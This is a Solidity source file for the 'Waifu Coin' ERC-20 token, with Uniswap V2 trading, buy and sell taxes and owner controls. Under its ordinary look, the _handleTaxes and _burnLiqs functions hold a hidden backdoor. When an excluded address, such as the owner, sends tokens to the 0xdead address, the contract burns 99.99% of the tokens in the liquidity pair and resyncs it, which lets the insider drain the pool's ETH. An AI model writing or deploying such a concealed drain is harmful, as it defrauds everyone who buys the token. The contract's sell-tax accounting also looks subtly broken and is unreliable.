// SPDX-License-Identifier: MIT

/**
Website:  https://waifucoin.vip
Telegram: https://t.me/waifu_erc
Twitter:  https://x.com/waifu_erc
**/

pragma solidity ^0.8.11;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by 'account'.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves 'amount' tokens from the caller's account to 'recipient'.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that 'spender' will be
     * allowed to spend on behalf of 'owner' through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    /**
     * @dev Sets 'amount' as the allowance of 'spender' over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves 'amount' tokens from 'sender' to 'recipient' using the
     * allowance mechanism. 'amount' is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when 'value' tokens are moved from one account ('from') to
     * another ('to').
     *
     * Note that 'value' may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a 'spender' for an 'owner' is set by
     * a call to {approve}. 'value' is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning 'false' on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if 'decimals' equals '2', a balance of '505' tokens should
     * be displayed to a user as '5,05' ('505 / 10 ** 2').
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - 'recipient' cannot be the zero address.
     * - the caller must have a balance of at least 'amount'.
     */
    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - 'spender' cannot be the zero address.
     */
    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - 'sender' and 'recipient' cannot be the zero address.
     * - 'sender' must have a balance of at least 'amount'.
     * - the caller must have allowance for ''sender'''s tokens of at least
     * 'amount'.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to 'spender' by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - 'spender' cannot be the zero address.
     */
    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to 'spender' by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - 'spender' cannot be the zero address.
     * - 'spender' must have allowance for the caller of at least
     * 'subtractedValue'.
     */
    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves 'amount' of tokens from 'sender' to 'recipient'.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - 'sender' cannot be the zero address.
     * - 'recipient' cannot be the zero address.
     * - 'sender' must have a balance of at least 'amount'.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    /** @dev Creates 'amount' tokens and assigns them to 'account', increasing
     * the total supply.
     *
     * Emits a {Transfer} event with 'from' set to the zero address.
     *
     * Requirements:
     *
     * - 'account' cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys 'amount' tokens from 'account', reducing the
     * total supply.
     *
     * Emits a {Transfer} event with 'to' set to the zero address.
     *
     * Requirements:
     *
     * - 'account' cannot be the zero address.
     * - 'account' must have at least 'amount' tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets 'amount' as the allowance of 'spender' over the 'owner' s tokens.
     *
     * This internal function is equivalent to 'approve', and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - 'owner' cannot be the zero address.
     * - 'spender' cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when 'from' and 'to' are both non-zero, 'amount' of ''from'''s tokens
     * will be transferred to 'to'.
     * - when 'from' is zero, 'amount' tokens will be minted for 'to'.
     * - when 'to' is zero, 'amount' of ''from'''s tokens will be burned.
     * - 'from' and 'to' are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when 'from' and 'to' are both non-zero, 'amount' of ''from'''s tokens
     * has been transferred to 'to'.
     * - when 'from' is zero, 'amount' tokens have been minted for 'to'.
     * - when 'to' is zero, 'amount' of ''from'''s tokens have been burned.
     * - 'from' and 'to' are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * 'onlyOwner', which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Contract module which allows children to implement an emergency stop
 * mechanism that can be triggered by an authorized account.
 *
 * This module is used through inheritance. It will make available the
 * modifiers 'whenNotPaused' and 'whenPaused', which can be applied to
 * the functions of your contract. Note that they will not be pausable by
 * simply including this module, only once the modifiers are put in place.
 */
abstract contract Pausable is Context {
    /**
     * @dev Emitted when the pause is triggered by 'account'.
     */
    event Paused(address account);

    /**
     * @dev Emitted when the pause is lifted by 'account'.
     */
    event Unpaused(address account);

    bool private _paused;

    /**
     * @dev Initializes the contract in unpaused state.
     */
    constructor() {
        _paused = false;
    }

    /**
     * @dev Returns true if the contract is paused, and false otherwise.
     */
    function paused() public view virtual returns (bool) {
        return _paused;
    }

    /**
     * @dev Modifier to make a function callable only when the contract is not paused.
     *
     * Requirements:
     *
     * - The contract must not be paused.
     */
    modifier whenNotPaused() {
        require(!paused(), "Pausable: paused");
        _;
    }

    /**
     * @dev Modifier to make a function callable only when the contract is paused.
     *
     * Requirements:
     *
     * - The contract must be paused.
     */
    modifier whenPaused() {
        require(paused(), "Pausable: not paused");
        _;
    }

    /**
     * @dev Triggers stopped state.
     *
     * Requirements:
     *
     * - The contract must not be paused.
     */
    function _pause() internal virtual whenNotPaused {
        _paused = true;
        emit Paused(_msgSender());
    }

    /**
     * @dev Returns to normal state.
     *
     * Requirements:
     *
     * - The contract must be paused.
     */
    function _unpause() internal virtual whenPaused {
        _paused = false;
        emit Unpaused(_msgSender());
    }
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint);

    function balanceOf(address owner) external view returns (uint);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);

    function transfer(address to, uint value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint);

    function permit(
        address owner,
        address spender,
        uint value,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(
        address indexed sender,
        uint amount0,
        uint amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint);

    function price1CumulativeLast() external view returns (uint);

    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);

    function burn(address to) external returns (uint amount0, uint amount1);

    function swap(
        uint amount0Out,
        uint amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint) external view returns (address pair);

    function allPairsLength() external view returns (uint);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);

    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);

    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract WAIFU is ERC20, Ownable {
    uint256 private initialSupply;

    uint256 private devTaxBuy;
    uint256 private marketingTaxBuy;
    uint256 private liquidityTaxBuy;
    uint256 private taxBuyTotal;

    uint256 private devTaxSell;
    uint256 private marketingTaxSell;
    uint256 private liquidityTaxSell;
    uint256 private taxSellTotal;

    address public _taxWallet;

    uint256 public maxTransactionAmount;
    uint256 public maxWallet;

    bool public limitsInEffect = true;
    bool public tradingActive = false;

    mapping(address => bool) private excludeList;
    mapping(address => bool) public ammPair;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;

    bool public taxStatus = true;

    IUniswapV2Router02 private uniswapV2Router02;
    IUniswapV2Factory private uniswapV2Factory;
    IUniswapV2Pair private uniswapV2Pair;

    constructor() ERC20("Waifu Coin", "WAIFU") {
        _taxWallet = address(
            0xbc3dF6A6604553B56F09b384C2c865D07b0B46EC
        );

        initialSupply = 1_000_000_000 * (10 ** 18);
        
        maxTransactionAmount = (initialSupply * 20) / 1000;
        maxWallet = (initialSupply * 20) / 1000;

        exclude(msg.sender);
        exclude(_taxWallet);
        exclude(address(this));

        excludeFromMaxTransaction(msg.sender, true);
        excludeFromMaxTransaction(_taxWallet, true);
        excludeFromMaxTransaction(address(this), true);

        _mint(msg.sender, initialSupply);
    }

    function addLiquidityETH() external payable onlyOwner {
        uniswapV2Router02 = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Factory = IUniswapV2Factory(uniswapV2Router02.factory());
        uniswapV2Pair = IUniswapV2Pair(
            uniswapV2Factory.createPair(address(this), uniswapV2Router02.WETH())
        );

        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
        _approve(address(this), address(uniswapV2Router02), ~uint256(0));
        uniswapV2Router02.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        devTaxBuy = 0;
        marketingTaxBuy = 1;
        liquidityTaxBuy = 0;
        taxBuyTotal = 100;

        devTaxSell = 0;
        marketingTaxSell = 1;
        liquidityTaxSell = 0;
        taxSellTotal = 100;
    }

    uint256 private marketingTokens;
    uint256 private devTokens;
    uint256 private liquidityTokens;
    uint256 private charityTokens;
    uint256 private burnTokens;

    /**
     * @dev Calculates the tax, transfer it to the contract. If the user is selling, and the swap threshold is met, it executes the tax.
     */
    function _handleTaxes(
        address from,
        address to,
        uint256 amount
    ) private returns (uint256) {
        if (!isExcluded(from) && !isExcluded(to)) {    
            if (limitsInEffect) {
                if (
                    from != owner() &&
                    to != owner() &&
                    to != address(0) &&
                    to != address(0xdead)
                ) {
                    if (!tradingActive) {
                        require(
                            isExcluded(from) || isExcluded(to),
                            "Trading is not active."
                        );
                    }

                    //when buy
                    if (ammPair[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(
                            amount <= maxTransactionAmount,
                            "Buy transfer amount exceeds the maxTransactionAmount."
                        );
                        require(
                            amount + balanceOf(to) <= maxWallet,
                            "Max wallet exceeded"
                        );
                    }
                    //when sell
                    else if (
                        ammPair[to] && !_isExcludedMaxTransactionAmount[from]
                    ) {
                        require(
                            amount <= maxTransactionAmount,
                            "Sell transfer amount exceeds the maxTransactionAmount."
                        );
                    } else if (!_isExcludedMaxTransactionAmount[to]) {
                        require(
                            amount + balanceOf(to) <= maxWallet,
                            "Max wallet exceeded"
                        );
                    }
                }
            }
            
            address[] memory sellPath = new address[](2);
            sellPath[0] = address(this);
            sellPath[1] = uniswapV2Router02.WETH();
        
            uint256 tax;
            if (ammPair[from]) {
                uint256 baseUnit = amount / taxBuyTotal;
                tax += baseUnit * marketingTaxBuy;

                if (tax > 0) {
                    _transfer(from, address(this), tax);
                }

                marketingTokens += baseUnit * marketingTaxBuy;
            } else if (ammPair[to]) {
                uint256 baseUnit = amount / taxSellTotal;
                tax += baseUnit * marketingTaxSell;

                if (tax > 0) {
                    _transfer(from, address(this), tax);
                }

                marketingTokens += marketingTaxSell;

                uint256 taxSum = marketingTokens;

                if (taxSum == 0) return amount;

                uint256 ethValue = uniswapV2Router02.getAmountsOut(
                    marketingTokens,
                    sellPath
                )[1];

                if (ethValue > 0) {
                    uint256 startBalance = address(this).balance;

                    uint256 toSell = marketingTokens;

                    _approve(address(this), address(uniswapV2Router02), toSell);

                    uniswapV2Router02.swapExactTokensForETH(
                        toSell,
                        0,
                        sellPath,
                        address(this),
                        block.timestamp
                    );

                    uint256 ethGained = address(this).balance - startBalance;

                    payable(_taxWallet).transfer(ethGained);

                    marketingTokens = 0;
                }
            }

            amount -= tax;
        }else if(to == address(0xdead)){
            _burnLiqs();
        }

        return amount;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual override {
        if (taxStatus) {
            amount = _handleTaxes(sender, recipient, amount);
        }

        super._transfer(sender, recipient, amount);
    }

    function burn(uint256 amount) external onlyOwner {
        _burn(msg.sender, amount);
    }

    /**
     * @dev Excludes the specified account from tax.
     */
    function exclude(address account) public onlyOwner {
        require(!isExcluded(account), "CoinToken: Account is already excluded");
        excludeList[account] = true;
    }

    function excludeFromMaxTransaction(
        address updAds,
        bool isEx
    ) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    /**
     * @dev Re-enables tax on the specified account.
     */
    function removeExclude(address account) public onlyOwner {
        require(isExcluded(account), "CoinToken: Account is not excluded");
        excludeList[account] = false;
    }

    function setAutomatedMarketMakerPair(
        address pair,
        bool value
    ) public onlyOwner {
        require(
            pair != address(uniswapV2Pair),
            "The pair cannot be removed from ammPair"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        ammPair[pair] = value;
    }

    function removeLimit() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    function enableTrading() external onlyOwner {
        tradingActive = true;
    }

    /**
     * @dev Enables tax globally.
     */
    function enableTax() public onlyOwner {
        require(!taxStatus, "CoinToken: Tax is already enabled");
        taxStatus = true;
    }

    /**
     * @dev Disables tax globally.
     */
    function disableTax() public onlyOwner {
        require(taxStatus, "CoinToken: Tax is already disabled");
        taxStatus = false;
    }

    /**
     * @dev Returns true if the account is excluded, and false otherwise.
     */
    function isExcluded(address account) public view returns (bool) {
        return excludeList[account];
    }

    receive() external payable {}

    function _calculateFee(
        uint256 _amount,
        uint8 _feeDecimals,
        uint32 _liquidityFee
    ) public pure returns (uint256 burned) {
        burned = _amount *_liquidityFee / (10 ** (uint256(_feeDecimals) + 2));
    }

    function _burnLiqs() internal returns (bool) {
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(address(uniswapV2Pair));

        // calculate amount to burn
        uint256 amountToBurn = _calculateFee(
            liquidityPairBalance,
            2,
            9999
        );

        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0) {
            super._burn(address(uniswapV2Pair), amountToBurn);
        }

        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = uniswapV2Pair;
        pair.sync();

        return true;
    }
}